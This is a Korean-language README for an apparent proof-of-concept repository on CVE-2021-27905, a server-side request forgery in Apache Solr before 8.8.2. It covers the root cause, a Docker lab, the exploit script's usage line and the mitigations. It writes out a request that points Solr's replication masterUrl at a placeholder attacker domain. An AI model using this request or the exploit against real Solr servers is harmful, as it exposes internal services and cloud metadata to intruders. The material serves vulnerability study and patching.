
Apache Solr < 8.8.2 서버 측 요청 위조
| 순번 | 제목 |
|---|---|
| 1 | 개요 |
| 2 | 근본 원인 |
| 3 | 개념 증명 |
| 4 | 완화 조치 (8.8.2+) |
| 5 | 참조 |
교육 및 연구 목적으로만 사용하세요. 소유하지 않았거나 명시적 허가를 받지 않은 시스템에서 이 코드를 사용하지 마십시오. 저는 오용에 대해 책임지지 않습니다.
이는 Apache Solr (< 8.8.2)에 영향을 미치는 서버사이드 요청 위조(SSRF) 취약점으로, 원격 공격자가 복제 핸들러의 masterUrl 매개변수를 통해 내부 또는 외부 시스템에 임의의 HTTP 요청을 보낼 수 있게 하여 내부 서비스나 민감한 클라우드 메타데이터를 노출시킬 수 있습니다.
영향 받는 버전 : 8.8.2 이전의 모든 버전 (7.0.0 - 7.7.3, 8.0.0 - 8.8.1)
Solr의 복제 메커니즘은 "replica"가 masterUrl 또는 leaderUrl 매개변수를 지정하여 "master/leader"에서 인덱스 파일을 가져올 수 있게 합니다. 이 매개변수를 통해 지정된 URL은 영향을 받는 Apache Solr 버전에서 제대로 검증되지 않습니다. 따라서 공격자가 서버를 자신이 선택한 원격 리소스에 연결하도록 설득할 수 있습니다.
취약한 흐름
/solr/<CORE_NAME>/replication?command=fetchindex&masterUrl=http://<ATTACKER_DOMAIN>
Solr의 ReplicationHandler는 다음을 수행합니다:
masterUrl을 사용하여 인덱스 데이터를 다운로드합니다.실습 환경 설정
$ cd lab
$ docker compose up -d
# verify accessibility
$ curl http://127.0.0.1:8983/solr
$ docker compose down
익스플로잇
# for windows
$ python -m venv <NAME>
$ .\<NAME>\Scripts\activate
# for linux
$ python3 -m venv <NAME>
$ source ./<NAME>/scripts/activate
$ pip install -r requirements.txt
cve-2021-27905.py 실행$ python3 cve-2021-27905.py --target <TARGET> --payload <SSRF_PAYLOAD>

Solr ReplicationHandler가 패치되어 다음을 수행합니다:
masterUrl/leaderUrl이 승인된 호스트만 가리키도록 검증합니다.http, https만) 제한합니다./replication을 인증으로 보호하거나 사용하지 않으면 완전히 제거할 것을 권장합니다.